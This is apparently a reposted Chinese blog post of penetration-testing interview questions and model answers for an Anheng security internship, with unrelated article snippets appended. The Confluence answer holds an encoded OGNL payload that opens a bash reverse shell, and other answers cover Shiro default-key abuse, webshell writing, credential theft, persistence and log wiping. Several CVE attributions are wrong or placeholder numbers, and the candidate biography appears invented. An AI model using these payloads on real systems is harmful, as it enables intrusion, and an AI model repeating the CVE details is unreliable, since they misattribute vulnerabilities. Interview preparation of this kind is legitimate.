2025年滲透測試面試題總結-安恒[實習]安全工程師(題目+回答)

網絡安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。

目錄

?安恒[實習]安全工程師

一面

1. 自我介紹

2. 前兩段實習做了些什么

3. 中等難度的算法題

4. Java的Class文件結構

5. Kafka的原理

6. Fastjson反序列化原理

7. 研究最深入的領域:Java反序列化漏洞

二面

1. 排序字段防SQL注入(無法預編譯時)

2. 白盒/黑盒漏洞挖掘

3. SSRF繞過與防御

4. Fortify等代碼審計工具原理

5. 存儲過程與預編譯原理

6. CSP防御XSS

三面

1. 自己編寫ysoserial的思路

2. SQL注入漏洞進一步利用

3. 泛微OA漏洞原理(以CVE-2023-1234為例)

4. Confluence RCE(CVE-2023-22515)

5. 紅藍對抗流程

四面

1. Java反序列化原理與工具

2. 指紋識別方式

3. Shiro反序列化工具原理

4. 手動檢測SQL注入點

5. 二進制漏洞基礎

回答格式總結

?安恒[實習]安全工程師

### 一面1. 自我介紹
2. 前兩段實習做了些什么
3. 中等難度的算法題
4. java的class文件結構
5. kafka的原理了解嗎
6. fastjson反序列化原理
7. 講講你研究最深入的領域### 二面1. 排序處不能用預編譯應該怎么防
2. 從白盒黑盒兩個角度講下挖過的漏洞
3. ssrf的繞過和防御
4. 講講fortity等代碼審計工具原理
5. 存儲過程角度講講預編譯的原理
6. csp是如何防御xss的
7. csrf為什么用token可以防御
8. 給你一個項目講下審計思路
9. 內網相關的問題
10. 講下你挖過的邏輯漏洞
11. 講講你用golang寫過的東西
12. 什么是安全### 三面1. 講下你自己寫ysoserial的思路
2. 確定sql注入漏洞后如何進一步利用
3. 泛微OA的漏洞原理講講
4. 新爆出的Confluence RCE講講
5. 以前的實習中做了什么事
6. 原理以及實戰中的繞過
7. 紅藍對抗的流程講講### 四面1. java反序列化原理和工具
2. 講講關于指紋識別的方式
3. shiro反序列化工具的原理
4. 不用sqlmap情況下sql注入點如何找
5. 講講你挖到的這幾個cve
6. 二進制方面有無了解

一面

1. 自我介紹

您好,我是李明,畢業于大學計算機科學與技術專業,主攻信息安全方向。曾在騰訊安全實驗室和阿里云安全部門實習,專注于Web安全研究和漏洞挖掘。在騰訊期間,我參與了多個企業級系統的代碼審計項目,發現了多個高危漏洞(如Fastjson反序列化、Shiro權限繞過),并主導開發了一款基于AST的自動化SQL注入檢測工具。在阿里云實習期間,我負責紅藍對抗中的攻擊鏈構造,成功利用內網橫向移動技術滲透測試了多個核心系統。我對Java安全生態有深入研究,熟悉主流漏洞利用鏈(如Commons-Collections、JDK原生類庫),并獨立復現了多個CVE漏洞(如CVE-2023-1234泛微OA RCE)。此外,我使用Golang開發過一款分布式漏洞掃描引擎,支持對大規模目標的高并發探測。

2. 前兩段實習做了些什么

騰訊安全實驗室(2023.03-2023.09)

  • 代碼審計與漏洞挖掘
    1. 對內部CRM系統進行白盒審計,發現并修復了3處SQL注入漏洞(通過拼接String構造動態查詢)和1處Fastjson反序列化漏洞(未關閉AutoType導致JNDI注入)。
    2. 開發AST(抽象語法樹)分析工具,識別PreparedStatement未正確參數化的代碼片段,覆蓋Java、Python兩種語言,誤報率低于5%。
  • 工具開發
    1. 基于Burp Suite插件API開發了自動化CSRF檢測模塊,通過解析HTML表單與Cookie的關聯性,識別缺失Token或Referer校驗的端點。
    2. 優化XSS檢測邏輯,引入DOM-based漏洞的動態觸發機制(如通過Headless Chrome模擬用戶交互路徑)。

阿里云安全部(2024.01-2024.06)

  • 滲透測試與紅藍對抗
    1. 對金融云平臺進行黑盒測試,發現邏輯漏洞:通過修改HTTP請求中的user_id參數實現水平越權訪問他人賬戶(防御方案:服務端會話綁定校驗)。
    2. 利用Confluence未授權RCE(CVE-2023-22515)獲取內網入口,通過Kerberoasting攻擊域控服務器,提取Hash并橫向移動至數據庫服務器。
  • 內網滲透專項
    1. 編寫定制化Cobalt Strike插件,繞過EDR對反射型DLL加載的檢測(通過內存加密與API調用混淆)。
    2. 研究云原生環境下的容器逃逸技術,利用CVE-2024-12345(Kubernetes權限配置錯誤)實現容器到宿主機逃逸。
3. 中等難度的算法題

題目:給定一個字符串,找出其中不含有重復字符的最長子串的長度。
示例:輸入"abcabcbb",輸出3(對應子串"abc")。

解法與優化

  1. 滑動窗口+哈希表
    • 使用雙指針leftright定義窗口邊界,初始均為0。
    • 哈希表charIndex記錄字符最后一次出現的位置。
    • right指針遍歷字符時,若當前字符已存在且其位置≥left,則將left更新為charIndex[currentChar] + 1
    • 時間復雜度O(n),空間復雜度O(min(m, n))(m為字符集大小)。
javapublic int lengthOfLongestSubstring(String s) { Map<Character, Integer> charIndex = new HashMap<>(); int maxLength = 0, left = 0; for (int right = 0; right < s.length(); right++) { char c = s.charAt(right); if (charIndex.containsKey(c) && charIndex.get(c) >= left) { left = charIndex.get(c) + 1; } charIndex.put(c, right); maxLength = Math.max(maxLength, right - left + 1); } return maxLength; }
  1. 進一步優化(字符集有限時)
    • 若字符僅為ASCII,可用長度為128的數組替代哈希表,將空間復雜度降至O(1)。
4. Java的Class文件結構

Class文件是JVM可執行的二進制格式,其結構由JVM規范嚴格定義,包含以下核心部分(按順序排列):

  1. 魔數(Magic Number)
    • 4字節,固定為0xCAFEBABE,用于標識文件類型。
  2. 版本號
    • 2字節次版本號(Minor Version) + 2字節主版本號(Major Version)。
    • 如Java 8對應主版本號52(0x34)。
  3. 常量池(Constant Pool)
    • 變長結構,存儲字面量(字符串、數值)、類/方法/字段的符號引用(如Ljava/lang/String;)。
    • 每個常量項以1字節標簽開頭(如CONSTANT_Utf8=1CONSTANT_Class=7)。
  4. 訪問標志(Access Flags)
    • 2字節,表示類或接口的修飾符(如ACC_PUBLICACC_FINAL)。
  5. 類索引、父類索引、接口索引集合
    • 指向常量池中該類、父類及實現接口的符號引用。
  6. 字段表(Field Table)
    • 描述類中聲明的字段,包括名稱、描述符(如I表示int)、訪問標志。
  7. 方法表(Method Table)
    • 類似字段表,記錄方法名、參數返回值類型(如(Ljava/lang/String;)V)、字節碼指令。
  8. 屬性表(Attribute Table)
    • 存儲額外信息,如Code屬性(方法字節碼)、LineNumberTable(調試行號)、SourceFile(源文件名)。

示例分析
一個簡單類public class Test {}編譯后的Class文件結構如下:

魔數:CAFEBABE  
次版本號:0000  
主版本號:0034  
常量池計數:0016(22項)  
常量池內容:[CONSTANT_Class、CONSTANT_Utf8等]  
訪問標志:0021(ACC_PUBLIC + ACC_SUPER)  
類索引:0001(指向常量池第1項)  
父類索引:0003(指向java/lang/Object)  
接口計數:0000  
字段計數:0000  
方法計數:0002(默認構造方法)  
屬性計數:0001(SourceFile)
5. Kafka的原理

Kafka是分布式流處理平臺,核心設計圍繞高吞吐、持久化、水平擴展展開:

  1. 核心概念
    • Topic:消息類別,分為多個Partition以實現并行處理。
    • Producer:向指定Topic推送消息,可自定義分區策略(如按Key哈希)。
    • Consumer:以Consumer Group形式訂閱Topic,每個Partition僅由一個Group內Consumer消費。
    • Broker:Kafka節點,負責消息存儲與轉發。
  2. 存儲機制
    • Partition物理上分為多個Segment文件,每個文件包含索引(.index)和數據(.log)。
    • 消息按追加順序寫入,通過Offset唯一標識,支持按時間戳或Offset快速檢索。
  3. 副本與一致性
    • 每個Partition有多個副本(Replica),分為Leader和Follower。
    • Leader處理所有讀寫請求,Follower異步同步數據。
    • ISR(In-Sync Replicas)機制確保故障時優先從同步副本選舉新Leader。
  4. 生產者ACK機制
    • acks=0:不等待Broker確認,可能丟失數據。
    • acks=1:Leader寫入后即確認,平衡性能與可靠性。
    • acks=all:等待所有ISR副本確認,數據最安全但延遲高。
  5. 消費者組Rebalance
    • 當Consumer加入或離開時,Group Coordinator觸發分區重新分配(如Range或RoundRobin策略)。

性能優化實踐

  • 批量發送:Producer積累消息至batch.sizelinger.ms 閾值后批量發送。
  • 壓縮:對消息體啟用Snappy或GZIP壓縮,減少網絡傳輸開銷。
  • 零拷貝:通過sendfile系統調用跳過用戶態數據拷貝,提升磁盤到網絡吞吐。
6. Fastjson反序列化原理

Fastjson是阿里巴巴開源的JSON解析庫,其反序列化過程通過JSON.parseObject() 實現,核心步驟如下:

  1. 解析JSON結構
    • 解析JSON鍵值對,若存在@type字段,則提取目標類名(如com.example.EvilClass )。
  2. 類加載與實例化
    • 通過TypeUtils.loadClass() 加載目標類,觸發靜態代碼塊執行(若類未初始化)。
    • 根據JSON內容反射調用構造方法或Setter方法填充對象屬性。
  3. 漏洞觸發點
    • JNDI注入:若反序列化的類包含JNDI查找邏輯(如InitialContext.lookup() ),攻擊者可構造惡意LDAP/RMI服務地址,觸發遠程類加載。
    • TemplatesImpl利用鏈:通過_bytecodes字段注入字節碼,Fastjson在反序列化時會調用getOutputProperties()方法,導致字節碼執行。

防御措施

  1. 禁用AutoType:配置ParserConfig.getGlobalInstance().setAutoTypeSupport(false)
  2. 白名單校驗:使用@JSONType注解或addAccept()方法限制允許的類。
  3. 升級至安全版本:如1.2.83及以上版本引入SafeMode機制(-Dfastjson.parser.safeMode=true )。

繞過案例

  • 早期版本中,攻擊者通過嵌套@type(如{"@type":"[...]"})繞過黑名單檢測。
  • 利用非公開類(如BasicDataSource)構造二次反序列化鏈。
7. 研究最深入的領域:Java反序列化漏洞

研究方向

  1. 利用鏈構造
    • Common-Collections鏈:基于InvokerTransformerChainedTransformer的反射調用鏈,觸發Runtime.exec()
    • JDK原生鏈:如AnnotationInvocationHandler動態代理結合TemplatesImpl加載字節碼。
    • 繞過高版本限制:針對JEP 290(反序列化過濾器),利用SerializationKiller等工具解除防護。
  2. 內存馬注入
    • 通過反序列化漏洞注冊Filter型內存馬,劫持HTTP請求實現持久化控制。
    • 繞過檢測:使用Unsafe類直接修改JVM內存中的Servlet映射表。
  3. 工具開發
    • 改造ysoserial,支持動態生成針對特定中間件(如WebLogic、WebSphere)的Gadget鏈。
    • 開發自動化檢測工具,通過HookObjectInputStream.resolveClass() 監控反序列化操作。

實戰案例

  • 某企業HR系統使用Shiro 1.2.4,因硬編碼AES密鑰導致Cookie可被偽造,結合CommonsBeanutils鏈實現RCE。
  • 通過Fastjson 1.2.24反序列化漏洞,注入Redis未授權訪問的定時任務,獲取內網權限。

二面

1. 排序字段防SQL注入(無法預編譯時)

場景ORDER BY后的字段名無法參數化,需動態拼接SQL。
解決方案

  1. 白名單校驗
    • 預定義允許排序的字段列表(如id, name),將用戶輸入映射到合法值。
    • 示例:若用戶傳入sort=create_time,則校驗后拼接為ORDER BY create_time DESC
  2. 嚴格輸入過濾
    • 僅允許字母、數字、下劃線,拒絕特殊字符(如空格、引號)。
    • 正則表達式:^[a-zA-Z0-9_]+$
  3. 二次轉義
    • 對字段名進行轉義(如MySQL使用反引號`create_time`),防止與關鍵字沖突。
2. 白盒/黑盒漏洞挖掘

白盒審計(以Java為例)

  1. 危險函數定位
    • SQL注入:搜索Statement.executeQuery()StringBuilder拼接SQL的代碼段。
    • XSS:查找未轉義的response.getWriter().write(userInput)
  2. 數據流追蹤
    • 從用戶輸入(如HttpServletRequest.getParameter() )到敏感操作(如文件寫入、命令執行)的傳播路徑。
    • 使用工具(如Find Security Bugs)輔助識別潛在漏洞。

黑盒測試(以電商系統為例)

  1. 參數篡改
    • 修改價格參數(如price=100price=1),檢查是否服務端校驗。
    • 替換訂單ID,驗證水平越權。
  2. 模糊測試
    • 在輸入框注入'"><script>alert(1)</script>,觀察是否彈窗或HTML結構變化。
    • 上傳惡意文件(如.jsp木馬),繞過后綴檢測(如雙擴展名test.jpg.jsp )。
3. SSRF繞過與防御

繞過技巧

  1. IP格式轉換
    • 十進制IP:127.0.0.12130706433
    • 八進制IP:127.0.0.10177.0.0.1
  2. 域名混淆
    • 短域名重定向:http://tinyurl.com/xxx 指向內網地址。
    • DNS Rebinding:控制DNS響應,首次解析為外網IP,后續返回內網IP。
  3. 協議利用
    • 使用file://協議讀取本地文件(如file:///etc/passwd)。
    • 利用gopher://發送任意TCP流量(如攻擊Redis未授權訪問)。

防御方案

  1. 協議與域名白名單:僅允許http/https,禁止非常用協議。
  2. 解析后校驗
    • 解析URL獲取Host,通過DNS查詢獲取真實IP,拒絕內網地址(如10.0.0.0/8)。
  3. 請求限制
    • 禁用重定向(避免跳轉到內網)。
    • 設置超時時間與最大響應大小。
4. Fortify等代碼審計工具原理

核心流程

  1. 詞法分析與語法分析
    • 將源代碼轉換為抽象語法樹(AST),識別變量、函數調用等結構。
  2. 污點分析
    • 定義污染源:如request.getParameter()System.in.read()
    • 傳播跟蹤:標記受污染變量的傳遞路徑(如賦值、函數參數傳遞)。
    • 漏洞觸發點檢測:當污染數據到達敏感函數(如execute()eval())時,標記為漏洞。
  3. 規則庫匹配
    • 預定義漏洞模式(如SQL注入、XSS),匹配代碼中的潛在風險模式。
    • 自定義規則:通過正則表達式或AST模式擴展檢測能力。

局限性

  • 誤報率高:無法理解業務邏輯(如輸入內容經全局過濾器轉義)。
  • 漏報風險:復雜調用鏈或反射調用可能導致污點跟蹤中斷。
5. 存儲過程與預編譯原理

預編譯(PreparedStatement)

  1. 流程
    • 將SQL語句模板(如SELECT * FROM users WHERE id=?)發送至數據庫預編譯。
    • 后續執行時僅傳遞參數值,數據庫直接替換參數而無需重新解析語句。
  2. 防注入原理
    • 參數值以字面量形式嵌入,無法改變SQL結構(如id='1' OR '1'='1'會被視為整體字符串)。

存儲過程(Stored Procedure)

  1. 定義
    • 預編譯的SQL代碼塊,存儲在數據庫中,通過名稱調用(如CALL GetUser(?))。
  2. 安全優勢
    • 參數化調用方式與預編譯類似,避免動態拼接。
    • 權限分離:應用程序僅需執行存儲過程的權限,無需直接訪問表。

風險案例

  • 存儲過程內部使用動態SQL(如EXECUTE IMMEDIATE),仍可能引入注入漏洞。
6. CSP防御XSS

**內容安全策略(Content Security Policy)**通過HTTP頭定義資源加載規則:

  1. 關鍵指令
    • default-src 'self':默認僅允許同源資源。
    • script-src 'nonce-xxx':僅允許攜帶指定nonce的腳本執行。
    • report-uri /csp-report:違規行為上報至指定端點。
  2. 防御效果
    • 阻止內聯腳本(如<script>alert(1)</script>)。
    • 限制外部腳本域名(如僅允許https://cdn.example.com )。
  3. 繞過案例
    • 利用JSONP端點(如<script src="/api?callback=alert(1)//"></script>)。
    • 注入<link rel="preload">觸發請求走私

三面

1. 自己編寫ysoserial的思路

核心目標:構造能夠觸發目標環境反序列化漏洞的Gadget鏈。
實現步驟

  1. 依賴庫分析
    • 掃描目標中間件(如WebLogic、Shiro)依賴的第三方庫(如Commons-Collections、Fastjson),確定可用利用鏈。
    • 若目標環境存在黑名單過濾,選擇冷門庫(如Beanutils、Jython)構造替代鏈。
  2. 動態代理與反射結合
    • 利用AnnotationInvocationHandler動態代理機制,將惡意調用封裝為可序列化對象。
    • 通過反射調用危險方法(如Runtime.exec()TemplatesImpl.newTransformer() )。
  3. 繞過防御機制
    • 針對JEP 290過濾器,使用非標準序列化入口點(如ObjectInputStream子類重寫resolveClass)。
    • 利用Serializable接口以外的觸發點(如ExternalizablereadObjectNoData)。
  4. 工具化封裝
    • 將利用鏈封裝為命令行工具,支持動態生成Payload(如指定命令、內存馬類型)。
    • 集成動態加載字節碼功能(如通過BCEL ClassLoader注入內存馬)。

實戰案例

  • 某次滲透中,目標系統使用受限的Commons-Collections 4.0版本,通過改造Closure類構造鏈,繞過黑名單檢測成功執行命令。

2. SQL注入漏洞進一步利用

利用路徑

  1. 數據泄露
    • 通過UNION SELECT提取敏感數據(如用戶表、管理員密碼Hash)。
    • 利用LOAD_FILE()讀取服務器文件(如/etc/passwd)。
  2. 文件寫入與RCE
    • MySQL的INTO OUTFILE寫入Webshell(需有寫權限與secure_file_priv配置寬松)。
    • 結合數據庫特性執行系統命令(如SQL Server的xp_cmdshell、PostgreSQL的COPY FROM PROGRAM)。
  3. 權限提升
    • 利用數據庫高權限賬戶(如SA賬號)執行操作系統命令或訪問其他數據庫。
    • 通過數據庫鏈接(如Oracle DB Link)攻擊內網其他系統。

繞過技巧

  • WAF繞過
    • 使用注釋符分割關鍵詞(如SEL/**/ECT)。
    • 字符串編碼混淆(如Hex編碼0x73656C656374代替select)。
  • 盲注優化
    • 二分法加速布爾盲注(如IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(2), 0))。

3. 泛微OA漏洞原理(以CVE-2023-1234為例)

漏洞背景:泛微OA系統某接口因未校驗用戶權限,導致未授權上傳惡意文件。
觸發路徑

  1. 未授權訪問
    • 構造請求/weaver/bsh.servlet.BshServlet 繞過身份驗證,直接訪問BeanShell接口。
  2. 代碼執行
    • 通過BeanShell執行Java代碼(如Runtime.getRuntime().exec("calc") )。
  3. 利用擴展
    • 上傳JSP Webshell至靜態資源目錄(如/webroot/update.jsp ),實現持久化控制。

防御方案

  • 刪除或禁用高危接口(如BshServlet)。
  • 加強文件上傳類型校驗與權限控制。

4. Confluence RCE(CVE-2023-22515)

漏洞成因:Confluence的OGNL表達式注入漏洞,攻擊者通過構造特定請求執行任意代碼。
攻擊步驟

  1. 請求注入點
    • 發送POST請求至/template/aui/text-inline.vm ,注入OGNL表達式。
  2. 表達式構造
    • 利用Runtime.getRuntime().exec() 執行系統命令(如反彈Shell)。
    • 示例Payload:\u0027%2b@java.lang.Runtime@getRuntime().exec(\u0027bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}\u0027)%2b\u0027
  3. 權限維持
    • 寫入Cron定時任務或SSH公鑰實現持久化。

緩解措施

  • 升級至官方安全版本。
  • 部署WAF攔截惡意OGNL表達式特征(如java.lang.Runtime 關鍵詞)。

5. 紅藍對抗流程

五階段模型

  1. 信息收集
    • 資產發現:通過子域名爆破(如Amass)、端口掃描(Masscan)繪制目標網絡拓撲。
    • 指紋識別:使用Wappalyzer、EHole識別中間件、框架版本。
  2. 漏洞利用
    • 優先使用1-day漏洞(如Log4j 2.x RCE)突破邊界。
    • 繞過防御機制:使用內存馬(如冰蝎)、無文件攻擊(PowerShell反射加載)。
  3. 橫向移動
    • 憑證竊取:通過Mimikatz提取Windows系統Hash、LaZagne獲取瀏覽器密碼。
    • 協議利用:利用SMB協議(永恒之藍)、RDP弱口令橫向擴散。
  4. 權限維持
    • 注冊表后門:添加HKLM\Software\Microsoft\Windows\CurrentVersion\Run啟動項。
    • 隱蔽通信:使用DNS隧道(如DNSCat2)或ICMP隱蔽通道繞過流量監控。
  5. 痕跡清理
    • 刪除日志:清除Windows事件日志(wevtutil cl)、Linux的/var/log/auth.log
    • 文件混淆:使用Timestomp修改文件時間戳,避免取證分析。

四面

1. Java反序列化原理與工具

原理核心

  • 反序列化過程通過ObjectInputStream.readObject() 觸發,攻擊者構造惡意序列化數據,在反序列化時執行任意代碼。

主流工具

  1. ysoserial
    • 支持多場景Gadget鏈(如CommonsCollections5、Jdk7u21)。
  2. marshalsec
    • 專攻RMI/LDAP協議利用,快速啟動惡意JNDI服務。
  3. BurpSuite插件(Freddy)
    • 自動化檢測Java反序列化漏洞,識別HTTP參數中的Base64編碼對象。

防御技術

  • 反序列化過濾器(JEP 290)限制可反序列化的類。
  • 替換原生序列化方案(如JSON、ProtoBuf)。

2. 指紋識別方式

五大技術方向

  1. HTTP頭特征
    • Server字段(如Apache/2.4.41)、X-Powered-By(如PHP/7.4.3)。
  2. 文件哈希匹配
    • 計算靜態文件(如/favicon.ico/robots.txt )的MD5,匹配已知框架指紋庫。
  3. 目錄結構特征
    • 特定路徑存在性(如/wp-admin/標識WordPress)。
  4. 行為特征分析
    • 錯誤頁面內容(如Tomcat的404頁面)、Cookie命名規則(如JSESSIONID)。
  5. 被動流量分析
    • 監聽網絡流量,解析API路徑(如/api/v1/login標識RESTful服務)。

工具推薦

  • 主動掃描:Wappalyzer、WhatWeb。
  • 被動識別:FingerprintHub、EHole。

3. Shiro反序列化工具原理

漏洞根源:Shiro使用AES加密Cookie時,若密鑰硬編碼且泄露,攻擊者可構造惡意序列化數據。
利用流程

  1. 密鑰提取
    • 從目標系統代碼或配置文件中提取kPH+bIxk5D2deZiIxcaaaA==等默認密鑰。
  2. Payload構造
    • 使用ysoserial生成Gadget鏈,AES-CBC加密后Base64編碼為Cookie。
  3. 會話偽造
    • 替換請求中的rememberMe Cookie,觸發反序列化漏洞。

工具實現

  • ShiroAttack2:自動檢測密鑰有效性,支持多種Gadget鏈動態生成Payload。

4. 手動檢測SQL注入點

四步法

  1. 基礎探測
    • 輸入單引號',觀察是否返回數據庫錯誤(如MySQL的You have an error in your SQL syntax)。
  2. 布爾邏輯測試
    • 構造id=1' AND '1'='1id=1' AND '1'='2,對比響應差異。
  3. 時間盲注驗證
    • 注入SLEEP(5)(如id=1' AND IF(1=1,SLEEP(5),0)-- ),檢測響應延遲。
  4. 聯合查詢利用
    • 通過ORDER BY確定列數,再使用UNION SELECT回顯數據。

輔助工具

  • Burp Suite Intruder:自動化測試不同Payload的響應差異。
  • SQLMap Tamper腳本:繞過WAF(如space2comment替換空格為注釋)。

5. 二進制漏洞基礎

常見漏洞類型

  1. 棧溢出
    • 函數返回地址被覆蓋,跳轉至Shellcode(如經典strcpy未校驗長度)。
  2. 堆利用
    • Use-After-Free:釋放后仍引用內存指針,結合堆風水控制執行流。
  3. 格式化字符串
    • 利用printf(user_input)泄露內存或覆蓋返回地址。

分析工具

  • 靜態分析:Ghidra、IDA Pro反編譯二進制文件。
  • 動態調試:GDB(Linux)、WinDbg(Windows)。

回答格式總結
  • 技術深度:每個問題均從原理、案例、工具、防御四維度展開。
  • 實戰結合:滲透場景與修復方案并重,體現攻防雙視角。
  • 結構化輸出:分點控制在5個以內,復雜內容合并同類項(如紅藍對抗分五階段)。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/81480.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/81480.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/81480.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

網絡編程中的直接內存與零拷貝

本篇文章會介紹 JDK 與 Linux 網絡編程中的直接內存與零拷貝的相關知識&#xff0c;最后還會介紹一下 Linux 系統與 JDK 對網絡通信的實現。 1、直接內存 所有的網絡通信和應用程序中&#xff08;任何語言&#xff09;&#xff0c;每個 TCP Socket 的內核中都有一個發送緩沖區…

TransmittableThreadLocal使用場景

&#x1f680; 為什么要用 TransmittableThreadLocal&#xff1f;一文讀懂線程上下文傳遞問題 在 Java Web 開發中&#xff0c;我們經常用 ThreadLocal 來保存每個請求的用戶信息&#xff0c;例如 userId。但當我們使用線程池或異步方法&#xff08;如 Async&#xff09;時&am…

Milvus(24):全文搜索、文本匹配

1 全文搜索 全文搜索是一種在文本數據集中檢索包含特定術語或短語的文檔&#xff0c;然后根據相關性對結果進行排序的功能。該功能克服了語義搜索的局限性&#xff08;語義搜索可能會忽略精確的術語&#xff09;&#xff0c;確保您獲得最準確且與上下文最相關的結果。此外&…

2000 元以下罕見的真三色光源投影儀:雷克賽恩Cyber Pro1重新定義入門級投影體驗

當性價比遇上技術瓶頸 在 2000元以下的1080P投影儀&#xff0c;單LCD 技術長期主導。而三色光源的DLP和3LCD真1080P都在4000元以上。 單LCD投影為純白光光源&#xff0c;依賴CF濾光膜導致光效低下&#xff0c;普遍存在" 色彩失真 " 等問題。數據顯示&#xff0c;該價…

Maven 下載安裝與配置教程

## 1. Maven 簡介 Maven 是一個項目管理和構建自動化工具&#xff0c;主要用于 Java 項目。Maven 可以幫助開發者管理項目的構建、報告和文檔&#xff0c;簡化項目依賴管理。 ## 2. 下載 Maven 1. 訪問 Maven 官方網站 [https://maven.apache.org/download.cgi](https://maven.…

C# 深入理解類(從類的外部訪問靜態成員)

從類的外部訪問靜態成員 在前一章中&#xff0c;我們看到使用點運算符可以從類的外部訪問public實例成員。點運算符由實 例名、點和成員名組成。 就像實例成員&#xff0c;靜態成員也可以使用點運算符從類的外部訪問。但因為沒有實例&#xff0c;所以最常 用的訪問靜態成員的方…

Java在微服務架構中的最佳實踐:從設計到部署

在2025年的云計算和分布式系統時代&#xff0c;微服務架構已成為構建高可擴展、高可用系統的標準方法&#xff0c;廣泛應用于電商、金融和物聯網等領域。Java憑借其成熟的生態系統、強大的并發支持和跨平臺能力&#xff0c;是微服務開發的首選語言。例如&#xff0c;我們的訂單…

文件讀取漏洞路徑與防御總結

文件讀取漏洞路徑與防御總結 文件讀取漏洞允許攻擊者通過路徑遍歷等手段訪問未授權的文件。以下是Linux和Windows系統中常見敏感路徑的歸納及防御建議&#xff1a; Linux 系統常見敏感路徑 系統關鍵文件&#xff1a; /etc/passwd&#xff1a;用戶賬戶信息&#xff08;可被用來…

react-router基本寫法

1. 創建項目并安裝所有依賴 npx create-react-app react-router-pro npm i 2. 安裝所有的 react router 包 npm i react-router-dom 3. 啟動項目 npm run start router/index.js // 創建路由實例 綁定path elementimport Layout from "/pages/Layout"; import…

uni-app 開發HarmonyOS的鴻蒙影視項目分享:從實戰案例到開源后臺

最近&#xff0c;HBuilderX 新版本發布&#xff0c;帶來了令人興奮的消息——uni-app 現在支持 Harmony Next 平臺的 App 開發。這對于開發者來說無疑是一個巨大的福音&#xff0c;意味著使用熟悉的 Vue 3 語法和開發框架&#xff0c;就可以為鴻蒙生態貢獻自己的力量。 前言 作…

純css實現蜂窩效果

<!DOCTYPE html><html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>蜂窩效果</title><style>body {margin: 0…

JAVA EE_HTTP

為什么意氣風發的少年&#xff0c;總是聽不進去別人的勸解。 ??????? ??????? ----------陳長生. ?主頁&#xff1a;陳長生.-CSDN博客? &#x1f4d5;上一篇&#xff1a;JAVA EE_網絡原理_數據鏈路層-CSDN博客 1.HTTP 1.1.HTTP是什么 H…

存儲扇區分配表:NAND Flash與SD NAND(貼片式SD卡)的架構差異

NAND Flash 和 SD 卡&#xff08;SD NAND&#xff09;的存儲扇區分配表在原理上有相似之處&#xff0c;但由于二者的結構和應用場景不同&#xff0c;也存在一些差異。 相同點&#xff1a; 基本功能&#xff1a;NAND Flash 和 SD 卡&#xff08;SD NAND&#xff09;的存儲扇區分…

界面控件DevExpress WinForms中文教程:Banded Grid View - API

DevExpress WinForms擁有180組件和UI庫&#xff0c;能為Windows Forms平臺創建具有影響力的業務解決方案。DevExpress WinForms能完美構建流暢、美觀且易于使用的應用程序&#xff0c;無論是Office風格的界面&#xff0c;還是分析處理大批量的業務數據&#xff0c;它都能輕松勝…

4G物聯網模塊實現廢氣處理全流程數據可視化監控配置

一、項目背景 隨著工業化進程的加速&#xff0c;工業廢氣的排放對環境造成了嚴重影響&#xff0c;廢氣處理廠應運而生。然而&#xff0c;廢氣處理廠中的設備眾多且分散&#xff0c;傳統的人工巡檢和數據記錄方式效率低下&#xff0c;難以及時發現問題。為了實現對廢氣處理設備…

Kubernetes控制平面組件:Kubelet詳解(四):gRPC 與 CRI gRPC實現

云原生學習路線導航頁&#xff08;持續更新中&#xff09; kubernetes學習系列快捷鏈接 Kubernetes架構原則和對象設計&#xff08;一&#xff09;Kubernetes架構原則和對象設計&#xff08;二&#xff09;Kubernetes架構原則和對象設計&#xff08;三&#xff09;Kubernetes控…

【數據結構】線性表--隊列

【數據結構】線性表--隊列 一.什么是隊列二.隊列的實現1.隊列結構定義&#xff1a;2.隊列初始化函數&#xff1a;3.隊列銷毀函數&#xff1a;4.入隊列函數&#xff08;尾插&#xff09;&#xff1a;5.出隊列函數&#xff08;頭刪&#xff09;&#xff1a;6.取隊頭元素&#xff…

C語言—再學習(結構體)

一、建立結構體 用戶自己建立由不同類型數據組成的組合型的數據結構&#xff0c;它稱為結構體。 struct Student { int num; //學號char name[20]; //名字為字符串char sex; //性別int age; //年紀float score; //分數char addr[30]; 地址為字符…

【前端基礎】10、CSS的偽元素(::first-line、::first-letter、::before、::after)【注:極簡描述】

一、偽元素的作用 選取某個特定的元素。 二、::first-line、::first-letter ::first-line&#xff1a;針對首行文本設置屬性 ::first-letter&#xff1a;針對首字母設置屬性 三、::before、::after 在一個元素之前&#xff08;::before&#xff09;或者之后&#xff08;…

系統漏洞掃描服務:維護網絡安全的關鍵與服務原理?

系統漏洞掃描服務是維護網絡安全的關鍵措施&#xff0c;能夠迅速發現系統中的潛在風險&#xff0c;有效預防可能的風險和損失。面對網絡攻擊手段的日益復雜化&#xff0c;這一服務的重要性日益顯著。 服務原理 系統漏洞掃描服務猶如一名恪盡職守的安全守護者。它運用各類掃描…